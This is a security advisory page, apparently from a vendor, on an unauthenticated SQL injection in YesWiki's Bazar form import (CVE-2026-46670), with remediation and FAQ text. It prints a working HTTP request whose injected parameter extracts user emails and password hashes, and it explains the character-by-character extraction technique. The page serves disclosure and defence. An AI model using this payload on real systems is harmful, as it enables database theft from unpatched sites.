CVE-2026-46670

CVE-2026-46670 is a critical-severity SQL injection vulnerability in yeswiki/yeswiki (composer), affecting versions < 4.6.4. It is fixed in 4.6.4.

Summary

An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including yeswiki_users.password hashes. Present in 4.6.1 / 4.6.2 / current doryphore-dev; analyzed against upstream commit 1f485c049db030b94c047ec219e63534ac81142e.

Details

Sink is at FormManager::create() (function at L232), unquoted concatenation of bn_id_nature into the INSERT VALUES list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258

Reachability is unauthenticated.

PoC

  1. Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)
  2. Bring up the service using docker: cd docker && docker compose build && docker compose up
  3. Go to https://localhost:8085
  4. Go through the installation
  5. Run the POC:
    yeswiki_sqli_poc.py

More details

Sample http request (copied from burp):

POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D

POC internals:

The PoC uses an expression like:
7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))

Breakdown
SELECT HEX(VERSION()) or whatever the statement is (the poc file dumps 1 username and password)
This gets the database version and hex-encodes it.
Example:

VERSION()      = 9.7.0
HEX(VERSION()) = 392E372E30

Then:
SUBSTRING((SELECT HEX(VERSION())), 1, 1) takes one character from that hex string.
For position 1, this returns 3, then: ASCII(...) converts that character to its ASCII code: ASCII('3') = 51
Then:
7330000 + 51 produces 7330051
So the full vulnerable insert becomes roughly:

INSERT INTO yeswiki_nature (..., bn_id_nature, ...)
VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...);

MySQL evaluates the expression before storing it, so the inserted row has: bn_id_nature = 7330051
The PoC reads that ID from /?api/forms, subtracts 7330000, gets 51, converts 51 back to '3', and repeats for the next character.

Impact

Sql injection.
An attacker can dump the whole db, including usernames, emails, and hashed passwords.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-46670 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.4); upgrading removes the vulnerable code path.

Affected versions

yeswiki/yeswiki (< 4.6.4)

Security releases

yeswiki/yeswiki → 4.6.4 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade yeswiki/yeswiki to 4.6.4 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-46670? CVE-2026-46670 is a critical-severity SQL injection vulnerability in yeswiki/yeswiki (composer), affecting versions < 4.6.4. It is fixed in 4.6.4. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. How severe is CVE-2026-46670? CVE-2026-46670 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of yeswiki/yeswiki are affected by CVE-2026-46670? yeswiki/yeswiki (composer) versions < 4.6.4 is affected.
  4. Is there a fix for CVE-2026-46670? Yes. CVE-2026-46670 is fixed in 4.6.4. Upgrade to this version or later.
  5. Is CVE-2026-46670 exploitable, and should I be worried? Whether CVE-2026-46670 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-46670 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-46670? Upgrade yeswiki/yeswiki to 4.6.4 or later.

Other vulnerabilities in yeswiki/yeswiki

CVE-2026-41143CVE-2026-34598CVE-2025-52277CVE-2025-46346CVE-2025-46347

Stop the waste.
Protect your environment with Kodem.